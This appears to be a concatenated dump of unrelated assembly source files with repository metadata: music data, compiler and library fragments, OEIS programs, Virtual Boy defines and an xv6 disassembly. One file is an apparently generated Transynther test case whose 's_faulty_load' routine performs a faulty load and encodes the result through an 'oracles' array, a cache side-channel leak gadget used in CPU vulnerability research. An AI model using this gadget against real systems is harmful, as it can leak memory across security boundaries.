kp_settrackregister $01,$20 kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $03,$0F kp_settrackregister $00,$02 kp_rewind [pat14loop-pat14] pat15 pat15loop kp_settrackregister $00,$04 kp_settrackregister $01,$40 kp_setinstrument $04,$07 kp_settrackregister $01,$68 kp_setinstrument $04,$07 kp_settrackregister $01,$5C kp_setinstrument $04,$08 kp_settrackregister $01,$50 kp_setinstrument $04,$07 kp_settrackregister $01,$54 kp_setinstrument $02,$07 kp_settrackregister $01,$5C kp_setinstrument $04,$07 kp_settrackregister $01,$70 kp_setinstrument $02,$07 kp_settrackregister $01,$74 kp_setinstrument $04,$09 kp_rewind [pat15loop-pat15] pat16 pat16loop kp_settrackregister $00,$04 kp_settrackregister $01,$40 kp_setinstrument $04,$07 kp_settrackregister $01,$68 kp_setinstrument $04,$07 kp_settrackregister $01,$5C kp_setinstrument $04,$08 kp_settrackregister $01,$50 kp_setinstrument $04,$07 kp_settrackregister $01,$54 kp_setinstrument $02,$07 kp_settrackregister $01,$44 kp_setinstrument $04,$07 kp_settrackregister $01,$50 kp_setinstrument $02,$07 kp_settrackregister $01,$40 kp_setinstrument $04,$09 kp_rewind [pat16loop-pat16] pat17 pat17loop kp_settrackregister $03,$0F kp_setinstrument $04,$01 kp_setinstrument $04,$02 kp_setinstrument $02,$03 kp_settrackregister $03,$0C kp_setinstrument $02,$01 kp_settrackregister $03,$0A kp_setinstrument $02,$02 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_setinstrument $10,$03 kp_rewind [pat17loop-pat17] pat18 pat18loop kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $06,$04 kp_settrackregister $01,$40 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$20 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $08,$04 kp_settrackregister $01,$00 kp_setinstrument $05,$0B kp_settrackregister $01,$04 kp_settrackregister $00,$01 kp_settrackregister $01,$08 kp_settrackregister $00,$01 kp_settrackregister $01,$0C kp_settrackregister $00,$01 kp_rewind [pat18loop-pat18] kp_insmap_lo dc.b #<insnil dc.b #<ins1 dc.b #<ins2 dc.b #<ins3 dc.b #<ins4 dc.b #<ins5 dc.b #<ins6 dc.b #<ins7 dc.b #<ins8 dc.b #<ins9 dc.b #<ins10 dc.b #<ins11 kp_insmap_hi dc.b #>insnil dc.b #>ins1 dc.b #>ins2 dc.b #>ins3 dc.b #>ins4 dc.b #>ins5 dc.b #>ins6 dc.b #>ins7 dc.b #>ins8 dc.b #>ins9 dc.b #>ins10 dc.b #>ins11 kp_volmap_lo dc.b #<volnil dc.b #<vol1 dc.b #<vol2 dc.b #<vol3 dc.b #<vol4 dc.b #<vol5 dc.b #<vol6 dc.b #<vol7 dc.b #<vol8 dc.b #<vol9 dc.b #<vol10 dc.b #<vol11 kp_volmap_hi dc.b #>volnil dc.b #>vol1 dc.b #>vol2 dc.b #>vol3 dc.b #>vol4 dc.b #>vol5 dc.b #>vol6 dc.b #>vol7 dc.b #>vol8 dc.b #>vol9 dc.b #>vol10 dc.b #>vol11 insnil KP_OSCV 0,0,0,0,15 KP_OSCJ 0 volnil KP_VOLV 0,15 KP_VOLJ 0 ins1 KP_OSCV $1A,0,1,0,$00 KP_OSCV $10,0,1,0,$00 KP_OSCV $06,0,1,0,$00 KP_OSCV $01,0,1,0,$00 ins1loop KP_OSCV $00,0,1,0,$00 KP_OSCV $00,0,0,0,$00 KP_OSCJ [ins1loop-ins1] vol1 KP_VOLV $0E,$00 KP_VOLV $0F,$00 KP_VOLV $0A,$00 KP_VOLV $06,$00 KP_VOLV $03,$00 KP_VOLV $02,$00 KP_VOLV $01,$01 vol1loop KP_VOLV $00,$00 KP_VOLJ [vol1loop-vol1] ins2 KP_OSCV $FC,1,0,0,$00 ins2loop KP_OSCV $FA,1,0,0,$00 KP_OSCJ [ins2loop-ins2] vol2 KP_VOLV $0A,$00 KP_VOLV $03,$00 KP_VOLV $02,$00 KP_VOLV $01,$01 vol2loop KP_VOLV $00,$00 KP_VOLJ [vol2loop-vol2] ins3 KP_OSCV $40,0,1,0,$00 KP_OSCV $F2,1,0,0,$00 ins3loop KP_OSCV $F7,1,0,0,$00 KP_OSCV $FA,1,0,0,$00 KP_OSCJ [ins3loop-ins3] vol3 KP_VOLV $0E,$00 KP_VOLV $0B,$00 KP_VOLV $08,$00 KP_VOLV $04,$00 KP_VOLV $03,$00 KP_VOLV $02,$00 KP_VOLV $01,$02 vol3loop KP_VOLV $00,$00 KP_VOLJ [vol3loop-vol3] ins4 ins4loop KP_OSCV $00,0,1,1,$01 KP_OSCV $01,0,1,1,$01 KP_OSCV $02,0,1,1,$01 KP_OSCV $01,0,1,1,$01 KP_OSCJ [ins4loop-ins4] vol4 KP_VOLV $08,$01 KP_VOLV $0A,$03 KP_VOLV $09,$00 KP_VOLV $08,$00 KP_VOLV $07,$00 KP_VOLV $06,$00 KP_VOLV $05,$00 KP_VOLV $04,$00 KP_VOLV $03,$00 KP_VOLV $02,$00 KP_VOLV $01,$02 vol4loop KP_VOLV $00,$00 KP_VOLJ [vol4loop-vol4] ins5 ins5loop KP_OSCV $30,0,1,1,$02 KP_OSCV $40,0,1,1,$02 KP_OSCV $4C,0,1,1,$02 KP_OSCV $60,0,1,1,$02 KP_OSCJ [ins5loop-ins5] vol5 KP_VOLV $0A,$00 KP_VOLV $08,$00 KP_VOLV $07,$00 KP_VOLV $06,$00 KP_VOLV $05,$00 KP_VOLV $04,$00 KP_VOLV $03,$00 KP_VOLV $02,$02 KP_VOLV $01,$02 vol5loop KP_VOLV $00,$00 KP_VOLJ [vol5loop-vol5] ins6 KP_OSCV $48,0,1,0,$00 KP_OSCV $F2,1,0,0,$00 ins6loop KP_OSCV $F9,1,0,0,$00 KP_OSCV $F2,1,0,0,$00 KP_OSCJ [ins6loop-ins6] vol6 KP_VOLV $0C,$00 KP_VOLV $0A,$00 KP_VOLV $07,$00 KP_VOLV $05,$00 vol6loop KP_VOLV $04,$01 KP_VOLJ [vol6loop-vol6] ins7 KP_OSCV $00,0,1,1,$01 ins7loop KP_OSCV $30,0,1,1,$00 KP_OSCJ [ins7loop-ins7] vol7 KP_VOLV $0B,$03 KP_VOLV $08,$00 KP_VOLV $04,$00 KP_VOLV $03,$00 KP_VOLV $02,$00 KP_VOLV $01,$03 vol7loop KP_VOLV $00,$00 KP_VOLJ [vol7loop-vol7] ins8 KP_OSCV $00,0,1,1,$00 ins8loop KP_OSCV $30,0,1,1,$01 KP_OSCV $31,0,1,1,$01 KP_OSCJ [ins8loop-ins8] vol8 KP_VOLV $0B,$00 KP_VOLV $09,$02 KP_VOLV $08,$00 KP_VOLV $04,$00 KP_VOLV $03,$07 KP_VOLV $03,$00 vol8loop KP_VOLV $00,$00 KP_VOLJ [vol8loop-vol8] ins9 KP_OSCV $00,0,1,1,$00 ins9loop KP_OSCV $30,0,1,1,$01 KP_OSCV $31,0,1,1,$01 KP_OSCJ [ins9loop-ins9] vol9 KP_VOLV $0B,$00 KP_VOLV $09,$02 KP_VOLV $08,$00 KP_VOLV $07,$00 KP_VOLV $06,$00 KP_VOLV $05,$00 KP_VOLV $04,$00 KP_VOLV $05,$01 KP_VOLV $06,$00 KP_VOLV $07,$04 KP_VOLV $06,$01 KP_VOLV $05,$00 KP_VOLV $04,$00 KP_VOLV $03,$00 KP_VOLV $02,$00 KP_VOLV $01,$04 vol9loop KP_VOLV $00,$00 KP_VOLJ [vol9loop-vol9] ins10 ins10loop KP_OSCV $30,0,1,1,$00 KP_OSCJ [ins10loop-ins10] vol10 KP_VOLV $0B,$00 KP_VOLV $09,$02 KP_VOLV $08,$00 KP_VOLV $04,$00 KP_VOLV $03,$07 KP_VOLV $03,$00 vol10loop KP_VOLV $00,$00 KP_VOLJ [vol10loop-vol10] ins11 ins11loop KP_OSCV $00,0,1,1,$01 KP_OSCV $01,0,1,1,$01 KP_OSCV $02,0,1,1,$01 KP_OSCV $01,0,1,1,$01 KP_OSCJ [ins11loop-ins11] vol11 KP_VOLV $08,$01 KP_VOLV $0A,$03 KP_VOLV $09,$00 KP_VOLV $08,$00 KP_VOLV $07,$00 KP_VOLV $06,$00 KP_VOLV $05,$00 vol11loop KP_VOLV $04,$00 KP_VOLJ [vol11loop-vol11] kp_sequence dc.b $00,$00,$01,$02 dc.b $00,$00,$03,$04 dc.b $00,$00,$01,$02 dc.b $00,$00,$03,$04 dc.b $00,$00,$01,$02 dc.b $00,$00,$03,$04 dc.b $00,$00,$01,$02 dc.b $00,$00,$05,$06 dc.b $00,$07,$01,$02 dc.b $00,$00,$03,$04 dc.b $00,$08,$01,$02 dc.b $00,$00,$03,$04 dc.b $00,$09,$01,$02 dc.b $00,$00,$03,$04 dc.b $00,$0A,$01,$02 dc.b $00,$00,$05,$06 dc.b $00,$0B,$01,$0C dc.b $00,$0D,$03,$0E dc.b $00,$0F,$01,$02 dc.b $00,$00,$03,$06 dc.b $00,$0B,$01,$0C dc.b $00,$0D,$03,$0E dc.b $00,$10,$01,$02 dc.b $00,$00,$11,$12 dc.b $00,$00,$01,$02 dc.b $00,$00,$03,$04 dc.b $00,$00,$01,$02 dc.b $00,$00,$03,$04 dc.b $ff dc.w $0050
21.078408
28
0.738411
961fd056a19ddb90f653c3a0402ed46b82ff3e3d
10
asm
Assembly
src/main/fragment/mos6502-common/vbuxx=_byte1_vwum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbuxx=_byte1_vwum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbuxx=_byte1_vwum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
ldx {m1}+1
10
10
0.6
b8815f7ab6611c3cb997c9f13ec99c5f4bd92cf2
336
asm
Assembly
libsrc/stdio/fputs.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/stdio/fputs.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/stdio/fputs.asm
RC2014Z80/z88dk
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; CALLER linkage for function pointers MODULE fputs SECTION code_clib PUBLIC fputs EXTERN fputs_callee EXTERN ASMDISP_FPUTS_CALLEE .fputs pop bc ;ret pop hl ;fp pop de ;s push de push hl push bc push ix ; callers ix push hl pop ix call fputs_callee + ASMDISP_FPUTS_CALLEE pop ix ret
13.44
44
0.678571
42e026390cf7aad66545a33d68bd7e920e8af395
3,450
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_130_511.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_130_511.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_130_511.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xfd01, %r12 nop and $30209, %rdx movl $0x61626364, (%r12) nop nop nop xor $60366, %r12 lea addresses_WT_ht+0x10101, %rbx clflush (%rbx) nop nop and $20208, %rdi movb $0x61, (%rbx) nop nop nop nop add %r12, %r12 lea addresses_WT_ht+0x17681, %rsi lea addresses_D_ht+0x12d81, %rdi nop nop and $35589, %r9 mov $44, %rcx rep movsb nop nop dec %rsi lea addresses_UC_ht+0x1b601, %rsi lea addresses_normal_ht+0x1c001, %rdi nop inc %r9 mov $91, %rcx rep movsw nop add $34581, %rdx lea addresses_A_ht+0xc701, %rsi lea addresses_UC_ht+0x1ef01, %rdi nop nop sub $24044, %r12 mov $108, %rcx rep movsq nop add %r15, %r15 lea addresses_A_ht+0x8135, %r12 nop nop sub %rbx, %rbx and $0xffffffffffffffc0, %r12 vmovaps (%r12), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rdi add $59692, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WT+0x130c1, %rbx add %rax, %rax movl $0x51525354, (%rbx) nop nop nop nop nop cmp $56757, %rax // REPMOV lea addresses_US+0x1dd01, %rsi mov $0x181, %rdi nop nop cmp $59562, %rdx mov $73, %rcx rep movsw nop nop nop xor %rdi, %rdi // Faulty Load lea addresses_D+0x1501, %rdx clflush (%rdx) nop nop dec %rbp movups (%rdx), %xmm3 vpextrq $0, %xmm3, %rbx lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_US', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_P', 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}} {'36': 130} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
22.847682
389
0.653623
d22171bad86658c8084d306fbda3576bbb37f5ea
2,086
asm
Assembly
programs/oeis/060/A060896.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/060/A060896.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/060/A060896.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A060896: n^12 - n^6 + 1. ; 1,1,4033,530713,16773121,244125001,2176735681,13841169553,68719214593,282429005041,999999000001,3138426605161,8916097462273,23298080295673,56693904845761,129746326500001,281474959933441,582622213092193,1156831347413953,2213314872020281,4095999936000001,7355827425620521,12855002517669313,21914624283984433,36520347244953601,59604644531250001,95428956352766401,150094634909578633,232218264607322113,353814782610645721,531440999271000001,787662782901046081,1152921503533105153,1667889513661516993,2386420682148296641,3379220506218375001,4738381336144834561,6582952003274308873,9065737905484059073,12381557652057681361,16777215995904000001,22563490295616081841,30129469481150649793,39959630790941213353,52654090769521274881,68952523546627875001,89762301664080937921,116191483098169362913,149587343085857144833,191581231366725127201,244140624984375000001,309629344358025127801,390877006466479583233,491258904234561793513,614787626151713488321,766217865382719750001,951166013774573076481,1176246293869143220753,1449225351971532499393,1779197418197352183241,2176782335953344000001,2654348974246065783961,3226266762341099585473,3909188328416304377473,4722366482800925736961,5688009063030294000001,6831675453164772450241,8182718904542398762393,9774779120308074442753,11646329922669393249481,13841287200882351000001,16409682740512710850321,19408409961626028736513,22902048046338924485233,26963771415756578020801,31676352023900390625001,37133262473002801459201,43439888521755161267833,50714860157015837694913,59091511031431065925921,68719476735737856000001,79766443076590080326881,92420056269995891516353,106890007738334184036793,123410307016924837539841,142241757135794969625001,163674647745182945703361,188031682201064046417073,215671155821216599375873,246990403564765159012561,282429536480468559000001,322475487413036913413641,367666387654275886804993,418596297478723683352153,475920314813563506694081,540360087661901871000001,612709757328984605982721,693842360994605028290113,784716723733914191005633,886384871715187800509401 pow $0,6 bin $0,2 mul $0,2 add $0,1
260.75
2,021
0.936242
922155ce0ac672509c4578203d0346f6ae0a125a
1,213
asm
Assembly
vbdefines.asm
enthusi/VBeat
ff4f09834901a6c0f29b67aed0d001f80d149d79
[ "BSD-3-Clause" ]
6
2021-04-21T14:56:37.000Z
2021-10-16T11:33:06.000Z
vbdefines.asm
enthusi/VBeat
ff4f09834901a6c0f29b67aed0d001f80d149d79
[ "BSD-3-Clause" ]
null
null
null
vbdefines.asm
enthusi/VBeat
ff4f09834901a6c0f29b67aed0d001f80d149d79
[ "BSD-3-Clause" ]
null
null
null
BG_MAP equ $00020000 BRTA equ $0005F824 BRTA_DEFAULT equ 42 BRTB_DEFAULT equ 84 BRTC_DEFAULT equ 0 CHAR_TBL equ $00078000 DPCTRL equ $0005f822 DP_DISP equ %0000000000000010 DP_RE equ %0000000100000000 DP_SYNCE equ %0000001000000000 FRMCYC equ $0005f82e GPLT0 equ $0005f860 INTCLR equ $0005f804 INTENB equ $0005f802 INTPND equ $0005f800 SDR_A equ %0000000000000100 SDR_B equ %0000000000001000 SDR_LD equ %0000010000000000 SDR_LL equ %0000001000000000 SDR_LR equ %0000000100000000 SDR_LU equ %0000100000000000 TIMER_TCR equ $02000020 TIMER_THR equ $0200001C TIMER_TLR equ $02000018 VIP equ $00000000 VIP_END equ $00080000 VSU equ $01000000 VSU_END equ $01000800 VSU_S1INT equ $01000400 VSU_SSTOP equ $01000580 VSU_WAVE_0 equ $01000000 WCR equ $02000024 WORLD_BGM_NORMAL equ %0000000000000000 WORLD_END equ %0000000001000000 WORLD_LON equ %1000000000000000 WORLD_RON equ %0100000000000000 WORLD_SCX_0 equ %0000000000000000 WORLD_SCY_0 equ %0000000000000000 WORLD_TBL equ $0003d800 WRAM equ $05000000 WRAM_END equ $05010000 XPCTRL equ $0005f842 XPSTTS equ $0005f840 XP_XPEN equ %0000000000000010 XP_XPRST equ %0000000000000001
26.369565
40
0.779885
c7b588f2294f7b01487600c7c2ce204cda9e9242
325
asm
Assembly
programs/oeis/237/A237274.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/237/A237274.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/237/A237274.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A237274: a(n) = A236283(n) mod 9. ; 2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1,2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1,2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1,2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1 pow $0,2 mov $2,3 add $2,$0 mov $0,-1 sub $2,1 pow $0,$2 add $0,2 mov $3,$2 div $3,2 add $0,$3 add $0,$3 mod $0,18 sub $0,3 div $0,2 add $0,1
17.105263
145
0.52
07bc28c81494c19ad1f4dd5a49e66af32df46269
38,642
asm
Assembly
user/zombie.asm
Vidhi1109/Modified-XV6
691430b9f9be91cb556f138918c1fc0e57bcabdf
[ "MIT-0" ]
null
null
null
user/zombie.asm
Vidhi1109/Modified-XV6
691430b9f9be91cb556f138918c1fc0e57bcabdf
[ "MIT-0" ]
null
null
null
user/zombie.asm
Vidhi1109/Modified-XV6
691430b9f9be91cb556f138918c1fc0e57bcabdf
[ "MIT-0" ]
null
null
null
user/_zombie: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <main>: #include "kernel/stat.h" #include "user/user.h" int main(void) { 0: 1141 addi sp,sp,-16 2: e406 sd ra,8(sp) 4: e022 sd s0,0(sp) 6: 0800 addi s0,sp,16 if(fork() > 0) 8: 00000097 auipc ra,0x0 c: 286080e7 jalr 646(ra) # 28e <fork> 10: 00a04763 bgtz a0,1e <main+0x1e> sleep(5); // Let child exit before parent. exit(0); 14: 4501 li a0,0 16: 00000097 auipc ra,0x0 1a: 280080e7 jalr 640(ra) # 296 <exit> sleep(5); // Let child exit before parent. 1e: 4515 li a0,5 20: 00000097 auipc ra,0x0 24: 306080e7 jalr 774(ra) # 326 <sleep> 28: b7f5 j 14 <main+0x14> 000000000000002a <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { 2a: 1141 addi sp,sp,-16 2c: e422 sd s0,8(sp) 2e: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) 30: 87aa mv a5,a0 32: 0585 addi a1,a1,1 34: 0785 addi a5,a5,1 36: fff5c703 lbu a4,-1(a1) 3a: fee78fa3 sb a4,-1(a5) 3e: fb75 bnez a4,32 <strcpy+0x8> ; return os; } 40: 6422 ld s0,8(sp) 42: 0141 addi sp,sp,16 44: 8082 ret 0000000000000046 <strcmp>: int strcmp(const char *p, const char *q) { 46: 1141 addi sp,sp,-16 48: e422 sd s0,8(sp) 4a: 0800 addi s0,sp,16 while(*p && *p == *q) 4c: 00054783 lbu a5,0(a0) 50: cb91 beqz a5,64 <strcmp+0x1e> 52: 0005c703 lbu a4,0(a1) 56: 00f71763 bne a4,a5,64 <strcmp+0x1e> p++, q++; 5a: 0505 addi a0,a0,1 5c: 0585 addi a1,a1,1 while(*p && *p == *q) 5e: 00054783 lbu a5,0(a0) 62: fbe5 bnez a5,52 <strcmp+0xc> return (uchar)*p - (uchar)*q; 64: 0005c503 lbu a0,0(a1) } 68: 40a7853b subw a0,a5,a0 6c: 6422 ld s0,8(sp) 6e: 0141 addi sp,sp,16 70: 8082 ret 0000000000000072 <strlen>: uint strlen(const char *s) { 72: 1141 addi sp,sp,-16 74: e422 sd s0,8(sp) 76: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) 78: 00054783 lbu a5,0(a0) 7c: cf91 beqz a5,98 <strlen+0x26> 7e: 0505 addi a0,a0,1 80: 87aa mv a5,a0 82: 4685 li a3,1 84: 9e89 subw a3,a3,a0 86: 00f6853b addw a0,a3,a5 8a: 0785 addi a5,a5,1 8c: fff7c703 lbu a4,-1(a5) 90: fb7d bnez a4,86 <strlen+0x14> ; return n; } 92: 6422 ld s0,8(sp) 94: 0141 addi sp,sp,16 96: 8082 ret for(n = 0; s[n]; n++) 98: 4501 li a0,0 9a: bfe5 j 92 <strlen+0x20> 000000000000009c <memset>: void* memset(void *dst, int c, uint n) { 9c: 1141 addi sp,sp,-16 9e: e422 sd s0,8(sp) a0: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ a2: ca19 beqz a2,b8 <memset+0x1c> a4: 87aa mv a5,a0 a6: 1602 slli a2,a2,0x20 a8: 9201 srli a2,a2,0x20 aa: 00a60733 add a4,a2,a0 cdst[i] = c; ae: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ b2: 0785 addi a5,a5,1 b4: fee79de3 bne a5,a4,ae <memset+0x12> } return dst; } b8: 6422 ld s0,8(sp) ba: 0141 addi sp,sp,16 bc: 8082 ret 00000000000000be <strchr>: char* strchr(const char *s, char c) { be: 1141 addi sp,sp,-16 c0: e422 sd s0,8(sp) c2: 0800 addi s0,sp,16 for(; *s; s++) c4: 00054783 lbu a5,0(a0) c8: cb99 beqz a5,de <strchr+0x20> if(*s == c) ca: 00f58763 beq a1,a5,d8 <strchr+0x1a> for(; *s; s++) ce: 0505 addi a0,a0,1 d0: 00054783 lbu a5,0(a0) d4: fbfd bnez a5,ca <strchr+0xc> return (char*)s; return 0; d6: 4501 li a0,0 } d8: 6422 ld s0,8(sp) da: 0141 addi sp,sp,16 dc: 8082 ret return 0; de: 4501 li a0,0 e0: bfe5 j d8 <strchr+0x1a> 00000000000000e2 <gets>: char* gets(char *buf, int max) { e2: 711d addi sp,sp,-96 e4: ec86 sd ra,88(sp) e6: e8a2 sd s0,80(sp) e8: e4a6 sd s1,72(sp) ea: e0ca sd s2,64(sp) ec: fc4e sd s3,56(sp) ee: f852 sd s4,48(sp) f0: f456 sd s5,40(sp) f2: f05a sd s6,32(sp) f4: ec5e sd s7,24(sp) f6: 1080 addi s0,sp,96 f8: 8baa mv s7,a0 fa: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ fc: 892a mv s2,a0 fe: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 100: 4aa9 li s5,10 102: 4b35 li s6,13 for(i=0; i+1 < max; ){ 104: 89a6 mv s3,s1 106: 2485 addiw s1,s1,1 108: 0344d863 bge s1,s4,138 <gets+0x56> cc = read(0, &c, 1); 10c: 4605 li a2,1 10e: faf40593 addi a1,s0,-81 112: 4501 li a0,0 114: 00000097 auipc ra,0x0 118: 19a080e7 jalr 410(ra) # 2ae <read> if(cc < 1) 11c: 00a05e63 blez a0,138 <gets+0x56> buf[i++] = c; 120: faf44783 lbu a5,-81(s0) 124: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') 128: 01578763 beq a5,s5,136 <gets+0x54> 12c: 0905 addi s2,s2,1 12e: fd679be3 bne a5,s6,104 <gets+0x22> for(i=0; i+1 < max; ){ 132: 89a6 mv s3,s1 134: a011 j 138 <gets+0x56> 136: 89a6 mv s3,s1 break; } buf[i] = '\0'; 138: 99de add s3,s3,s7 13a: 00098023 sb zero,0(s3) return buf; } 13e: 855e mv a0,s7 140: 60e6 ld ra,88(sp) 142: 6446 ld s0,80(sp) 144: 64a6 ld s1,72(sp) 146: 6906 ld s2,64(sp) 148: 79e2 ld s3,56(sp) 14a: 7a42 ld s4,48(sp) 14c: 7aa2 ld s5,40(sp) 14e: 7b02 ld s6,32(sp) 150: 6be2 ld s7,24(sp) 152: 6125 addi sp,sp,96 154: 8082 ret 0000000000000156 <stat>: int stat(const char *n, struct stat *st) { 156: 1101 addi sp,sp,-32 158: ec06 sd ra,24(sp) 15a: e822 sd s0,16(sp) 15c: e426 sd s1,8(sp) 15e: e04a sd s2,0(sp) 160: 1000 addi s0,sp,32 162: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); 164: 4581 li a1,0 166: 00000097 auipc ra,0x0 16a: 170080e7 jalr 368(ra) # 2d6 <open> if(fd < 0) 16e: 02054563 bltz a0,198 <stat+0x42> 172: 84aa mv s1,a0 return -1; r = fstat(fd, st); 174: 85ca mv a1,s2 176: 00000097 auipc ra,0x0 17a: 178080e7 jalr 376(ra) # 2ee <fstat> 17e: 892a mv s2,a0 close(fd); 180: 8526 mv a0,s1 182: 00000097 auipc ra,0x0 186: 13c080e7 jalr 316(ra) # 2be <close> return r; } 18a: 854a mv a0,s2 18c: 60e2 ld ra,24(sp) 18e: 6442 ld s0,16(sp) 190: 64a2 ld s1,8(sp) 192: 6902 ld s2,0(sp) 194: 6105 addi sp,sp,32 196: 8082 ret return -1; 198: 597d li s2,-1 19a: bfc5 j 18a <stat+0x34> 000000000000019c <atoi>: int atoi(const char *s) { 19c: 1141 addi sp,sp,-16 19e: e422 sd s0,8(sp) 1a0: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') 